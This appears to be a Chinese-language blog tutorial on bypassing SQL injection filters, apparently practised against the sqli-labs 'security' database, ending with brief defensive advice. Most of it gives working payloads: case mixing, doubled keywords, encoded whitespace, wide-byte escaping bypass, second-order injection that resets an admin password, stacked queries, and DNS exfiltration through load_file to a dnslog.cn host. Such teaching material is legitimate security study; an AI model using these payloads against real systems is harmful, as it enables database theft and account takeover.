首页 > 数据库 >SQL注入绕过及简单防御

SQL注入绕过及简单防御

时间:2023-02-20 20:23:06浏览次数:36  
标签:语句 mysql 防御 --+ SQL 绕过 id 注入

绕过

当注入语句正常但依然无回显或回显错误时,判定注入的语句被绕过了

大小写绕过

通过修改正常sql注入语句,为大小写夹杂的注入语句,如:?id=-1’ Union Select 1,2,3--+

注释绕过(将—和+注释掉)

1.不同于正常sql注入语句,闭合符号不需要注释,故最后没有--+而是再次使用闭合符号,以此闭合多的闭合符号实现完全闭合;

2.也可以通过逻辑运算and ‘1’=’1此时就不需要额外的闭合符号,前面使用正常sql语句即可【and、or都可以】;

双写绕过

通过双写连接词(例如and,or),大小写都可以,实现绕过,如:AandND 1=1

关键字等价绕过

mysql中&&和||用法等同于and和or,如果and和or被过滤则使用,如?id=1 && id=2--+  ?id=1’ || id=2--+

&&是连续执行,返回最后一个id;||是先执行第一个,如果第一个是错误则执行第二个

绕过去除空格

相当于使用其他编码类型代替空格及其他符号,实现绕过,如:?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271

其中%0a是新建一行,%c是新一页,%a0是空格(mysql中),%26是&,%27是单引号’,%0d是return功能,%0b是TAB键

宽字节绕过:

涉及函数:addslashes()[在注入语句的字符前添加一个反斜杠进行转义]、mysql_real_escape_string()[sql语句中字符串的特殊字符]、mysql_escape_string()[转义一个字符串]

原因:数据库编码和php编码设置为不同编码格式导致

 常见宽字节编码:GB2312、GBK、GB18030等

原理:宽字节编码中,两个字符表示一个汉字,在字符前的反斜杠前再加一个字符就把反斜杠变换成一个汉字,只剩下字符就实现了宽字节绕过

Base64编码绕过

通过burpsuite抓包,将注入语句通过base64加密然后注入

二次注入修改其他用户密码

newuser注册使用admin’--+和123456作为账密,登陆后修改密码,此时就修改成功数据库中admin用户的密码;原因在于数据库语句执行后账号中的--+将后面的语句注释掉了;

堆叠注入

原理:mysql_multi_query()支持多条sql语句同时执行,使用;分隔成堆的执行sql语句

出现概率很小,必须有mysql_multi_query()才能使用,且未对;过滤/大多是对数据进行修改

DNS注入

原理:对域名请求,DNS解析域名,可能在日志中记录请求方的ip和请求的目录,将想要的内容拼接到域名中,让load_file()访问共享文件,此时被访问的域名被记录,可以查看DNS服务器日志,找到想要的内容(将盲注变为报错注入)【load_file():读取一个文件并将内容作为字符串返回,其中括号内需要文件的完整路径;格式:load_file(concat(‘\\’,(select database()),’域名\123’))】

需配合dnslog.cn去得到返回信息(目前dnslog.cn似乎打不开了)

Payload:?id=-1’ union select load_file(concat(‘\\’,(select database()),’.xxx.dnslog.cn\123’)),2,3 --+

查表:?id=-1’ union select load_file(concat(‘\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),‘.xxx.dnslog.cn\123’)) ,2,3 --+,此方法不可用,原因在于域名长度太长,域名不能超过63位;故修改为:?id=1’ and load_file(concat(‘\\’,(select group_concat(table_name SEPARATOR’-‘) from information_schema.tables where table_schema=’security’),”.xxx.dnslog.cn\xxx.txt”))--+

查数据是from security.users不是users

Sql注入简单防御

    检测和过滤外部数据

  1. 检测变量数据类型和格式;
  2. 过滤特殊符号;
  3. 绑定变量,使用预编译语句。

 

标签:语句,mysql,防御,--+,SQL,绕过,id,注入
From: https://www.cnblogs.com/BWTY/p/17035371.html

相关文章